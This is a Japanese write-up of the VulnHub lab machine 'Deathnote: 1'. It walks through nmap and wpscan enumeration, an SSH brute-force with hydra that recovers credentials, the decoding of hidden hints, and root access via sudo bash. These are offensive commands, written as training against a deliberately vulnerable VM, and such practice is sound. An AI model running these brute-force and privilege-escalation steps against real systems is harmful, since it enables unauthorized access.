概要
VulnHub「Deathnote: 1」のWriteupです。
User Flag
ターゲットマシンのIPアドレスを特定します。
$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning: You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-25 13:56 UTC
Nmap scan report for 192.168.178.20
Host is up (0.00017s latency).
Nmap scan report for 192.168.178.33
Host is up (0.00053s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.48 seconds
192.168.178.20は、攻撃用Parrot OSのIPアドレスです。
192.168.178.33が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 -p- 192.168.178.33 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5e:b8:ff:2d:ac:c7:e9:3c:99:2f:3b:fc:da:5c:a3:53 (RSA)
| 256 a8:f3:81:9d:0a:dc:16:9a:49:ee:bc:24:e4:65:5c:a6 (ECDSA)
|_ 256 4f:20:c3:2d:19:75:5b:e8:1f:32:01:75:c2:70:9a:7e (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 7.9p1 |
| 80 | http | Apache/2.4.38 |
80番ポートにアクセスすると、名前解決のエラーが出たのでドメインを/etc/hostsに追加します。
$cat /etc/hosts
192.168.178.33 deathnote.vuln
Webサイトを表示できました。
/wordpress/というパスなので、WordPressで構築されている可能性が高いです。
ディレクトリスキャンをすると、/robots.txtや/wordpressなどのパスを発見しました。
$dirsearch -u http://deathnote.vuln
[14:11:56] 301 - 317B - /manual -> http://deathnote.vuln/manual/
[14:11:56] 200 - 201B - /manual/index.html
[14:12:02] 200 - 68B - /robots.txt
[14:12:10] 200 - 2KB - /wordpress/wp-login.php
[14:12:10] 200 - 6KB - /wordpress/
/robots.txtを確認すると、/important.jpgがヒントだと分かりました。
$curl http://deathnote.vuln/robots.txt
fuck it my dad
added hint on /important.jpg
ryuk please delete it
JPGファイルをダウンロードします。
$wget http://deathnote.vuln/important.jpg
--2025-08-26 13:11:53-- http://deathnote.vuln/important.jpg
Resolving deathnote.vuln (deathnote.vuln)... 192.168.178.33
Connecting to deathnote.vuln (deathnote.vuln)|192.168.178.33|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 277 [image/jpeg]
Saving to: ‘important.jpg’
important.jpg 100%[================================================>] 277 --.-KB/s in 0s
2025-08-26 13:11:53 (64.9 MB/s) - ‘important.jpg’ saved [277/277]
ファイル形式を確認すると、JPGではなくテキスト形式だと分かりました。
$file important.jpg
important.jpg: ASCII text
ファイルの中身を確認すると、ログインユーザー名はuser.txtにあることが分かりました。
$cat important.jpg
i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira
i can only help you by giving something important
login username : user.txt
i don't know the password.
find it by yourself
but i think it is in the hint section of site
wpscanで/wordpressパスをスキャンします。
$wpscan --url http://deathnote.vuln/wordpress/
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.38 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://deathnote.vuln/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://deathnote.vuln/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://deathnote.vuln/wordpress/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://deathnote.vuln/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8 identified (Insecure, released on 2021-07-20).
| Found By: Rss Generator (Passive Detection)
| - http://deathnote.vuln/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.8</generator>
| - http://deathnote.vuln/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8</generator>
[+] WordPress theme in use: twentytwentyone
| Location: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/
| Last Updated: 2025-08-05T00:00:00.000Z
| Readme: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 2.6
| Style URL: http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://deathnote.vuln/wordpress/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <========================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Tue Aug 26 13:16:57 2025
[+] Requests Done: 170
[+] Cached Requests: 5
[+] Data Sent: 46.001 KB
[+] Data Received: 400.879 KB
[+] Memory used: 251.734 MB
[+] Elapsed time: 00:00:03
/wordpress/wp-content/uploadsを発見できたのでアクセスすると、2021/があります。
2021/配下を探索し、/wordpress/wp-content/uploads/2021/07/に辿り着くと、notes.txtとuser.txtを発見しました。
notes.txtとuser.txtをダウンロードします。
$wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt
--2025-08-26 13:19:01-- http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt
Resolving deathnote.vuln (deathnote.vuln)... 192.168.178.33
Connecting to deathnote.vuln (deathnote.vuln)|192.168.178.33|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 449 [text/plain]
Saving to: ‘notes.txt’
notes.txt 100%[================================================>] 449 --.-KB/s in 0s
2025-08-26 13:19:01 (133 MB/s) - ‘notes.txt’ saved [449/449]
$wget http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt
--2025-08-26 13:19:19-- http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/user.txt
Resolving deathnote.vuln (deathnote.vuln)... 192.168.178.33
Connecting to deathnote.vuln (deathnote.vuln)|192.168.178.33|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [text/plain]
Saving to: ‘user.txt’
user.txt 100%[================================================>] 91 --.-KB/s in 0s
2025-08-26 13:19:19 (27.1 MB/s) - ‘user.txt’ saved [91/91]
SSH接続をブルートフォースで試行すると、Username: l、Password: death4meだと判明しました。
$hydra -L user.txt -P notes.txt deathnote.vuln ssh
[22][ssh] host: deathnote.vuln login: l password: death4me
判明した認証情報でSSH接続に成功しました。
$ssh l@deathnote.vuln
l@deathnote:~$ whoami
l
user.txtを開くと、Brainfuckという言語で記されています。
l@deathnote:~$ cat user.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------.
下記サイトでデコードすると、フラグファイルの内容が分かりました。
i think u got the shell , but you wont be able to kill me -kira
Root Flag
/opt/Lファイルに2つのディレクトリを発見しました。
l@deathnote:/opt/L$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Aug 29 2021 .
drwxr-xr-x 3 root root 4096 Aug 29 2021 ..
drwxr-xr-x 2 root root 4096 Aug 29 2021 fake-notebook-rule
drwxr-xr-x 2 root root 4096 Aug 29 2021 kira-case
/opt/L/kira-case/case-file.txtを見ると、fake-notebook-ruleを確認する必要があるようです。
l@deathnote:/opt/L/kira-case$ cat case-file.txt
the FBI agent died on December 27, 2006
1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami's family .
hmmmmmmmmm......
and according to watari ,
he died as other died after Kira targeted them .
and we also found something in
fake-notebook-rule folder .
/opt/L/fake-notebook-rule/case.wavを開くと、16進数で何か記載されています。
l@deathnote:/opt/L/fake-notebook-rule$ cat hint
use cyberchef
l@deathnote:/opt/L/fake-notebook-rule$ cat case.wav
63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d
CyberChefでFrom Hex->From Base64の順にデコードすると、passwd : kiraisevilという文字列が分かりました。
/homeを確認するとkiraアカウントがることも分かります。
l@deathnote:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jul 19 2021 .
drwxr-xr-x 18 root root 4096 Jul 19 2021 ..
drwxr-xr-x 4 kira kira 4096 Sep 4 2021 kira
drwxr-xr-x 4 l l 4096 Sep 4 2021 l
kiraアカウントにPassword: kiraisevilでログイン出来ました。
l@deathnote:~$ su kira
Password:
kira@deathnote:/home/l$
/home/kira/kira.txtを確認すると、Base64で記載された文字列を発見しました。
kira@deathnote:~$ cat kira.txt
cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp
Base64でデコードすると、/varというヒントを得ました。
kira@deathnote:~$ cat kira.txt | base64 -d
please protect one of the following
1. L (/opt)
2. Misa (/var)
/var/misaを確認しましたが、何もありませんでした。
ラビットホールのようです。
kira@deathnote:/var$ cat misa
it is toooo late for misa
sudo -lを確認すると、全てのコマンドが許可されていると分かりました。
kira@deathnote:/var$ sudo -l
[sudo] password for kira:
Matching Defaults entries for kira on deathnote:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kira may run the following commands on deathnote:
(ALL : ALL) ALL
/bin/bashを利用してroot権限を取得できました。
kira@deathnote:/var$ sudo /bin/bash -p
root@deathnote:/var# whoami
root
/root/root.txtからルートフラグを入手できました。
root@deathnote:/var# cat /root/root.txt
:::::::: :::::::: :::: ::: :::::::: ::::::::: ::: ::::::::::: ::::::::
:+: :+: :+: :+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ :+:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +#+ +:+ +#+ +:+ +#+ :#: +#++:++#: +#++:++#++: +#+ +#++:++#++
+#+ +#+ +#+ +#+ +#+#+# +#+ +#+# +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######## ######## ### #### ######## ### ### ### ### ### ########
##########follow me on twitter###########3
and share this screen shot and tag @KDSAMF



